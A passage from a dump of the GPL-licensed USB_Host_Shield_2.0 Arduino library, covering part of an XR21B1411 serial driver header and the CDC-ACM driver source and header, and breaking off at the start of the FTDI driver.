CUSTOM #define XR_REG_ACM_FLOW_CTL (0x0216U) // FLOW CONTROL REGISTER CDCACM MODE #define XR_REG_FLOW_CTL (0x0C06U) // FLOW CONTROL REGISTER CUSTOM MODE #define XR_REG_FLOW_CTL_HALF_DPLX (0x0008U) // 0:FULL DUPLEX 1:HALF DUPLEX #define XR_REG_FLOW_CTL_MODE_MASK (0x0007U) // MODE BITMASK #define XR_REG_FLOW_CTL_NONE (0x0000U) // NO FLOW CONTROL #define XR_REG_FLOW_CTL_HW (0x0001U) // HARDWARE FLOW CONTROL #define XR_REG_FLOW_CTL_SW (0x0002U) // SOFTWARE FLOW CONTROL #define XR_REG_FLOW_CTL_MMMRX (0x0003U) // MULTIDROP RX UPON ADDRESS MATCH #define XR_REG_FLOW_CTL_MMMRXTX (0x0004U) // MULTIDROP RX/TX UPON ADDRESS MATCH #define XR_REG_ACM_GPIO_MODE (0x0217U) // GPIO MODE REGISTER IN CDCACM MODE #define XR_REG_GPIO_MODE (0x0C0CU) // GPIO MODE REGISTER IN CUSTOM MODE #define XR_REG_GPIO_MODE_GPIO (0x0000U) // ALL GPIO PINS ACM PROGRAMMABLE #define XR_REG_GPIO_MODE_FC_RTSCTS (0x0001U) // AUTO RTSCTS HW FC (GPIO 4/5) #define XR_REG_GPIO_MODE_FC_DTRDSR (0x0002U) // AUTO DTRDSR HW FC (GPIO 2/3) #define XR_REG_GPIO_MODE_ATE (0x0003U) // AUTO TRANSCEIVER ENABLE DURING TX (GPIO 5) #define XR_REG_GPIO_MODE_ATE_ADDRESS (0x0004U) // AUTO TRANSCEIVER ENABLE ON ADDRESS MATCH (GPIO 5) #define XR_REG_ACM_GPIO_DIR (0x0218U) // GPIO DIRECTION REGISTER CDCACM MODE, 0:IN 1:OUT #define XR_REG_GPIO_DIR (0x0C0DU) // GPIO DIRECTION REGISTER CUSTOM MODE, 0:IN 1:OUT #define XR_REG_ACM_GPIO_INT (0x0219U) // GPIO PIN CHANGE INTERRUPT ENABLE CDCACM MODE, 0: ENABLED 1: DISABLED #define XR_REG_GPIO_INT (0x0C11U) // GPIO PIN CHANGE INTERRUPT ENABLE CUSTOM MODE, 0: ENABLED 1: DISABLED #define XR_REG_GPIO_MASK (0x001FU) // GPIO REGISTERS BITMASK #define XR_REG_UART_ENABLE (0x0C00U) // UART I/O ENABLE REGISTER #define XR_REG_UART_ENABLE_RX (0x0002U) // 0:DISABLED 1:ENABLED #define XR_REG_UART_ENABLE_TX (0x0001U) // 0:DISABLED 1:ENABLED #define XR_REG_ERROR_STATUS (0x0C09U) // ERROR STATUS REGISTER #define XR_REG_ERROR_STATUS_MASK (0x00F8U) // ERROR STATUS BITMASK #define XR_REG_ERROR_STATUS_ERROR (0x0070U) // ERROR STATUS ERROR BITMASK #define XR_REG_ERROR_STATUS_BREAK (0x0008U) // BREAK HAS BEEN DETECTED #define XR_REG_ERROR_STATUS_OVERRUN (0x0010U) // RX OVERRUN ERROR #define XR_REG_ERROR_STATUS_PARITY (0x0020U) // PARITY ERROR #define XR_REG_ERROR_STATUS_FRAME (0x0040U) // FRAMING ERROR #define XR_REG_ERROR_STATUS_BREAKING (0x0080U) // BREAK IS BEING DETECTED #define XR_REG_TX_BREAK (0x0C0AU) // TRANSMIT BREAK. 0X0001-0XFFE TIME IN MS, 0X0000 STOP, 0X0FFF BREAK ON #define XR_REG_XCVR_EN_DELAY (0x0C0BU) // TURN-ARROUND DELAY IN BIT-TIMES 0X0000-0X000F #define XR_REG_GPIO_SET (0x0C0EU) // 1:SET GPIO PIN #define XR_REG_GPIO_CLR (0x0C0FU) // 1:CLEAR GPIO PIN #define XR_REG_GPIO_STATUS (0x0C10U) // READ GPIO PINS #define XR_REG_CUSTOMISED_INT (0x0C12U) // 0:STANDARD 1:CUSTOM SEE DATA SHEET #define XR_REG_PIN_PULLUP_ENABLE (0x0C14U) // 0:DISABLE 1:ENABLE, BITS 0-5:GPIO, 6:RX 7:TX #define XR_REG_PIN_PULLDOWN_ENABLE (0x0C15U) // 0:DISABLE 1:ENABLE, BITS 0-5:GPIO, 6:RX 7:TX #define XR_REG_LOOPBACK (0x0C16U) // 0:DISABLE 1:ENABLE, SEE DATA SHEET #define XR_REG_RX_FIFO_LATENCY (0x0CC2U) // FIFO LATENCY REGISTER #define XR_REG_RX_FIFO_LATENCY_ENABLE (0x0001U) // #define XR_REG_WIDE_MODE (0x0D02U) #define XR_REG_WIDE_MODE_ENABLE (0x0001U) #define XR_REG_XON_CHAR (0x0C07U) #define XR_REG_XOFF_CHAR (0x0C08U) #define XR_REG_TX_FIFO_RESET (0x0C80U) // 1: RESET, SELF-CLEARING #define XR_REG_TX_FIFO_COUNT (0x0C81U) // READ-ONLY #define XR_REG_RX_FIFO_RESET (0x0CC0U) // 1: RESET, SELF-CLEARING #define XR_REG_RX_FIFO_COUNT (0x0CC1U) // READ-ONLY #define XR_WRITE_REQUEST_TYPE (0x40U) #define XR_READ_REQUEST_TYPE (0xC0U) #define XR_MAX_ENDPOINTS 4 class XR21B1411 : public ACM { protected: public: XR21B1411(USB *pusb, CDCAsyncOper *pasync); /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (((vid == 0x2890U) && (pid == 0x0201U)) || ((vid == 0x04e2U) && (pid == 0x1411U))); }; uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); virtual tty_features enhanced_features(void) { tty_features rv; rv.enhanced = true; rv.autoflow_RTS = true; rv.autoflow_DSR = true; rv.autoflow_XON = true; rv.half_duplex = true; rv.wide = true; return rv; }; uint8_t read_register(uint16_t reg, uint16_t *val) { return (pUsb->ctrlReq(bAddress, 0, XR_READ_REQUEST_TYPE, 1, 0, 0, reg, 2, 2, (uint8_t *)val, NULL)); } uint8_t write_register(uint16_t reg, uint16_t val) { return (pUsb->ctrlReq(bAddress, 0, XR_WRITE_REQUEST_TYPE, 0, BGRAB0(val), BGRAB1(val), reg, 0, 0, NULL, NULL)); } //////////////////////////////////////////////////////////////////////// // The following methods set the CDC-ACM defaults. //////////////////////////////////////////////////////////////////////// virtual void autoflowRTS(bool s) { uint16_t val; uint8_t rval; rval = read_register(XR_REG_ACM_FLOW_CTL, &val); if(!rval) { if(s) { val &= XR_REG_FLOW_CTL_HALF_DPLX; val |= XR_REG_FLOW_CTL_HW; } else { val &= XR_REG_FLOW_CTL_HALF_DPLX; } rval = write_register(XR_REG_ACM_FLOW_CTL, val); if(!rval) { rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO); if(!rval) { // ACM commands apply the new settings. LINE_CODING LCT; rval = GetLineCoding(&LCT); if(!rval) { rval = SetLineCoding(&LCT); if(!rval) { _enhanced_status.autoflow_XON = false; _enhanced_status.autoflow_DSR = false; _enhanced_status.autoflow_RTS = s; } } } } } }; virtual void autoflowDSR(bool s) { uint16_t val; uint8_t rval; rval = read_register(XR_REG_ACM_FLOW_CTL, &val); if(!rval) { if(s) { val &= XR_REG_FLOW_CTL_HALF_DPLX; val |= XR_REG_FLOW_CTL_HW; } else { val &= XR_REG_FLOW_CTL_HALF_DPLX; } rval = write_register(XR_REG_ACM_FLOW_CTL, val); if(!rval) { if(s) { rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_FC_DTRDSR); } else { rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO); } if(!rval) { // ACM commands apply the new settings. LINE_CODING LCT; rval = GetLineCoding(&LCT); if(!rval) { rval = SetLineCoding(&LCT); if(!rval) { _enhanced_status.autoflow_XON = false; _enhanced_status.autoflow_RTS = false; _enhanced_status.autoflow_DSR = s; } } } } } }; virtual void autoflowXON(bool s) { // NOTE: hardware defaults to the normal XON/XOFF uint16_t val; uint8_t rval; rval = read_register(XR_REG_ACM_FLOW_CTL, &val); if(!rval) { if(s) { val &= XR_REG_FLOW_CTL_HALF_DPLX; val |= XR_REG_FLOW_CTL_SW; } else { val &= XR_REG_FLOW_CTL_HALF_DPLX; } rval = write_register(XR_REG_ACM_FLOW_CTL, val); if(!rval) { rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO); if(!rval) { // ACM commands apply the new settings. LINE_CODING LCT; rval = GetLineCoding(&LCT); if(!rval) { rval = SetLineCoding(&LCT); if(!rval) { _enhanced_status.autoflow_RTS = false; _enhanced_status.autoflow_DSR = false; _enhanced_status.autoflow_XON = s; } } } } } }; virtual void half_duplex(bool s) { uint16_t val; uint8_t rval; rval = read_register(XR_REG_ACM_FLOW_CTL, &val); if(!rval) { if(s) { val |= XR_REG_FLOW_CTL_HALF_DPLX; } else { val &= XR_REG_FLOW_CTL_MODE_MASK; } rval = write_register(XR_REG_ACM_FLOW_CTL, val); if(!rval) { // ACM commands apply the new settings. LINE_CODING LCT; rval = GetLineCoding(&LCT); if(!rval) { rval = SetLineCoding(&LCT); if(!rval) { _enhanced_status.half_duplex = s; } } } } }; }; #endif // __CDCPROLIFIC_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcacm.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "cdcacm.h" const uint8_t ACM::epDataInIndex = 1; const uint8_t ACM::epDataOutIndex = 2; const uint8_t ACM::epInterruptInIndex = 3; ACM::ACM(USB *p, CDCAsyncOper *pasync) : pUsb(p), pAsync(pasync), bAddress(0), bControlIface(0), bDataIface(0), bNumEP(1), qNextPollTime(0), bPollEnable(false), ready(false) { _enhanced_status = enhanced_features(); // Set up features for(uint8_t i = 0; i < ACM_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i == epDataInIndex) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) pUsb->RegisterDeviceClass(this); } uint8_t ACM::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t num_of_conf; // number of configurations AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("ACM Init\r\n"); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser< USB_CLASS_COM_AND_CDC_CTRL, CDC_SUBCLASS_ACM, CDC_PROTOCOL_ITU_T_V_250, CP_MASK_COMPARE_CLASS | CP_MASK_COMPARE_SUBCLASS | CP_MASK_COMPARE_PROTOCOL > CdcControlParser(this); ConfigDescParser CdcDataParser(this); rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcControlParser); if(rcode) goto FailGetConfDescr; rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcDataParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 4) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Conf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; // Set up features status _enhanced_status = enhanced_features(); half_duplex(false); autoflowRTS(false); autoflowDSR(false); autoflowXON(false); wide(false); // Always false, because this is only available in custom mode. rcode = pAsync->OnInit(this); if(rcode) goto FailOnInit; USBTRACE("ACM configured\r\n"); ready = true; //bPollEnable = true; //USBTRACE("Poll enabled\r\n"); return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailOnInit: #ifdef DEBUG_USB_HOST USBTRACE("OnInit:"); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } void ACM::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) { //ErrorMessage (PSTR("Conf.Val"), conf); //ErrorMessage (PSTR("Iface Num"), iface); //ErrorMessage (PSTR("Alt.Set"), alt); bConfNum = conf; uint8_t index; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) index = epInterruptInIndex; else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; else return; // Fill in the endpoint info structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[index].bmSndToggle = 0; epInfo[index].bmRcvToggle = 0; bNumEP++; PrintEndpointDescriptor(pep); } uint8_t ACM::Release() { ready = false; pUsb->GetAddressPool().FreeAddress(bAddress); bControlIface = 0; bDataIface = 0; bNumEP = 1; bAddress = 0; qNextPollTime = 0; bPollEnable = false; return 0; } uint8_t ACM::Poll() { //uint8_t rcode = 0; //if(!bPollEnable) // return 0; //return rcode; return 0; } uint8_t ACM::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { uint8_t rv = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::SndData(uint16_t nbytes, uint8_t *dataptr) { uint8_t rv = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::SetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, nbytes, nbytes, dataptr, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::GetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCIN, CDC_GET_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, nbytes, nbytes, dataptr, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::ClearCommFeature(uint16_t fid) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_CLEAR_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, 0, 0, NULL, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::SetLineCoding(const LINE_CODING *dataptr) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_LINE_CODING, 0x00, 0x00, bControlIface, sizeof (LINE_CODING), sizeof (LINE_CODING), (uint8_t*)dataptr, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::GetLineCoding(LINE_CODING *dataptr) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCIN, CDC_GET_LINE_CODING, 0x00, 0x00, bControlIface, sizeof (LINE_CODING), sizeof (LINE_CODING), (uint8_t*)dataptr, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::SetControlLineState(uint8_t state) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_CONTROL_LINE_STATE, state, 0, bControlIface, 0, 0, NULL, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t ACM::SendBreak(uint16_t duration) { uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SEND_BREAK, (duration & 0xff), (duration >> 8), bControlIface, 0, 0, NULL, NULL)); if(rv && rv != hrNAK) { Release(); } return rv; } void ACM::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) { Notify(PSTR("Endpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); Notify(PSTR("\r\n"), 0x80); } ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcacm.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__CDCACM_H__) #define __CDCACM_H__ #include "Usb.h" #define bmREQ_CDCOUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE #define bmREQ_CDCIN USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE // CDC Subclass Constants #define CDC_SUBCLASS_DLCM 0x01 // Direct Line Control Model #define CDC_SUBCLASS_ACM 0x02 // Abstract Control Model #define CDC_SUBCLASS_TCM 0x03 // Telephone Control Model #define CDC_SUBCLASS_MCCM 0x04 // Multi Channel Control Model #define CDC_SUBCLASS_CAPI 0x05 // CAPI Control Model #define CDC_SUBCLASS_ETHERNET 0x06 // Ethernet Network Control Model #define CDC_SUBCLASS_ATM 0x07 // ATM Network Control Model #define CDC_SUBCLASS_WIRELESS_HANDSET 0x08 // Wireless Handset Control Model #define CDC_SUBCLASS_DEVICE_MANAGEMENT 0x09 // Device Management #define CDC_SUBCLASS_MOBILE_DIRECT_LINE 0x0A // Mobile Direct Line Model #define CDC_SUBCLASS_OBEX 0x0B // OBEX #define CDC_SUBCLASS_ETHERNET_EMU 0x0C // Ethernet Emulation Model // Communication Interface Class Control Protocol Codes #define CDC_PROTOCOL_ITU_T_V_250 0x01 // AT Commands defined by ITU-T V.250 #define CDC_PROTOCOL_PCCA_101 0x02 // AT Commands defined by PCCA-101 #define CDC_PROTOCOL_PCCA_101_O 0x03 // AT Commands defined by PCCA-101 & Annex O #define CDC_PROTOCOL_GSM_7_07 0x04 // AT Commands defined by GSM 7.07 #define CDC_PROTOCOL_3GPP_27_07 0x05 // AT Commands defined by 3GPP 27.007 #define CDC_PROTOCOL_C_S0017_0 0x06 // AT Commands defined by TIA for CDMA #define CDC_PROTOCOL_USB_EEM 0x07 // Ethernet Emulation Model // CDC Commands defined by CDC 1.2 #define CDC_SEND_ENCAPSULATED_COMMAND 0x00 #define CDC_GET_ENCAPSULATED_RESPONSE 0x01 // CDC Commands defined by PSTN 1.2 #define CDC_SET_COMM_FEATURE 0x02 #define CDC_GET_COMM_FEATURE 0x03 #define CDC_CLEAR_COMM_FEATURE 0x04 #define CDC_SET_AUX_LINE_STATE 0x10 #define CDC_SET_HOOK_STATE 0x11 #define CDC_PULSE_SETUP 0x12 #define CDC_SEND_PULSE 0x13 #define CDC_SET_PULSE_TIME 0x14 #define CDC_RING_AUX_JACK 0x15 #define CDC_SET_LINE_CODING 0x20 #define CDC_GET_LINE_CODING 0x21 #define CDC_SET_CONTROL_LINE_STATE 0x22 #define CDC_SEND_BREAK 0x23 #define CDC_SET_RINGER_PARMS 0x30 #define CDC_GET_RINGER_PARMS 0x31 #define CDC_SET_OPERATION_PARMS 0x32 #define CDC_GET_OPERATION_PARMS 0x33 #define CDC_SET_LINE_PARMS 0x34 #define CDC_GET_LINE_PARMS 0x35 #define CDC_DIAL_DIGITS 0x36 //Class-Specific Notification Codes #define NETWORK_CONNECTION 0x00 #define RESPONSE_AVAILABLE 0x01 #define AUX_JACK_HOOK_STATE 0x08 #define RING_DETECT 0x09 #define SERIAL_STATE 0x20 #define CALL_STATE_CHANGE 0x28 #define LINE_STATE_CHANGE 0x29 #define CONNECTION_SPEED_CHANGE 0x2a // CDC Functional Descriptor Structures typedef struct { uint8_t bFunctionLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bmCapabilities; uint8_t bDataInterface; } CALL_MGMNT_FUNC_DESCR; typedef struct { uint8_t bFunctionLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bmCapabilities; } ACM_FUNC_DESCR, DLM_FUNC_DESCR, TEL_OPER_MODES_FUNC_DESCR, TEL_CALL_STATE_REP_CPBL_FUNC_DESCR; typedef struct { uint8_t bFunctionLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bRingerVolSteps; uint8_t bNumRingerPatterns; } TEL_RINGER_FUNC_DESCR; typedef struct { uint32_t dwDTERate; // Data Terminal Rate in bits per second uint8_t bCharFormat; // 0 - 1 stop bit, 1 - 1.5 stop bits, 2 - 2 stop bits uint8_t bParityType; // 0 - None, 1 - Odd, 2 - Even, 3 - Mark, 4 - Space uint8_t bDataBits; // Data bits (5, 6, 7, 8 or 16) } LINE_CODING; typedef struct { uint8_t bmRequestType; // 0xa1 for class-specific notifications uint8_t bNotification; uint16_t wValue; uint16_t wIndex; uint16_t wLength; uint16_t bmState; //UART state bitmap for SERIAL_STATE, other notifications variable length } CLASS_NOTIFICATION; class ACM; class CDCAsyncOper { public: virtual uint8_t OnInit(ACM *pacm __attribute__((unused))) { return 0; }; //virtual void OnDataRcvd(ACM *pacm, uint8_t nbytes, uint8_t *dataptr) = 0; //virtual void OnDisconnected(ACM *pacm) = 0; }; /** * This structure is used to report the extended capabilities of the connected device. * It is also used to report the current status. * Regular CDC-ACM reports all as false. */ typedef struct { union { uint8_t tty; struct { bool enhanced : 1; // Do we have the ability to set/clear any features? // Status and 8th bit in data stream. // Presence only indicates feature is available, but this isn't used for CDC-ACM. bool wide : 1; bool autoflow_RTS : 1; // Has autoflow on RTS/CTS bool autoflow_DSR : 1; // Has autoflow on DTR/DSR bool autoflow_XON : 1; // Has autoflow XON/XOFF bool half_duplex : 1; // Has half-duplex capability. } __attribute__((packed)); }; } tty_features; #define ACM_MAX_ENDPOINTS 4 class ACM : public USBDeviceConfig, public UsbConfigXtracter { protected: USB *pUsb; CDCAsyncOper *pAsync; uint8_t bAddress; uint8_t bConfNum; // configuration number uint8_t bControlIface; // Control interface value uint8_t bDataIface; // Data interface value uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time volatile bool bPollEnable; // poll enable flag volatile bool ready; //device ready indicator tty_features _enhanced_status; // current status void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); public: static const uint8_t epDataInIndex; // DataIn endpoint index static const uint8_t epDataOutIndex; // DataOUT endpoint index static const uint8_t epInterruptInIndex; // InterruptIN endpoint index EpInfo epInfo[ACM_MAX_ENDPOINTS]; ACM(USB *pusb, CDCAsyncOper *pasync); uint8_t SetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr); uint8_t GetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr); uint8_t ClearCommFeature(uint16_t fid); uint8_t SetLineCoding(const LINE_CODING *dataptr); uint8_t GetLineCoding(LINE_CODING *dataptr); uint8_t SetControlLineState(uint8_t state); uint8_t SendBreak(uint16_t duration); uint8_t GetNotif(uint16_t *bytes_rcvd, uint8_t *dataptr); // Methods for receiving and sending data uint8_t RcvData(uint16_t *nbytesptr, uint8_t *dataptr); uint8_t SndData(uint16_t nbytes, uint8_t *dataptr); // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); bool available(void) { return false; }; virtual uint8_t GetAddress() { return bAddress; }; virtual bool isReady() { return ready; }; virtual tty_features enhanced_status(void) { return _enhanced_status; }; virtual tty_features enhanced_features(void) { tty_features rv; rv.enhanced = false; rv.autoflow_RTS = false; rv.autoflow_DSR = false; rv.autoflow_XON = false; rv.half_duplex = false; rv.wide = false; return rv; }; virtual void autoflowRTS(bool s __attribute__((unused))) { }; virtual void autoflowDSR(bool s __attribute__((unused))) { }; virtual void autoflowXON(bool s __attribute__((unused))) { }; virtual void half_duplex(bool s __attribute__((unused))) { }; virtual void wide(bool s __attribute__((unused))) { }; // UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); }; #endif // __CDCACM_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcftdi.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "cdcftdi.h" const uint8_t FTDI::epDataInIndex = 1; const uint8_t FTDI::epDataOutIndex = 2; const uint8_t FTDI::epInterruptInIndex = 3; FTDI::FTDI(USB *p, FTDIAsyncOper *pasync, uint16_t idProduct) : pAsync(pasync), pUsb(p), bAddress(0), bNumEP(1), wFTDIType(0), wIdProduct(idProduct) { for(uint8_t i = 0; i < FTDI_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i==epDataInIndex) ? USB_NAK_NOWAIT: USB_NAK_MAX_POWER; } if(pUsb) pUsb->RegisterDeviceClass(this); } uint8_t FTDI::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t num_of_conf; // number of configurations AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("FTDI Init\r\n"); if(bAddress) { USBTRACE("FTDI CLASS IN USE??\r\n"); return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { USBTRACE("FTDI NO ADDRESS??\r\n"); return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof 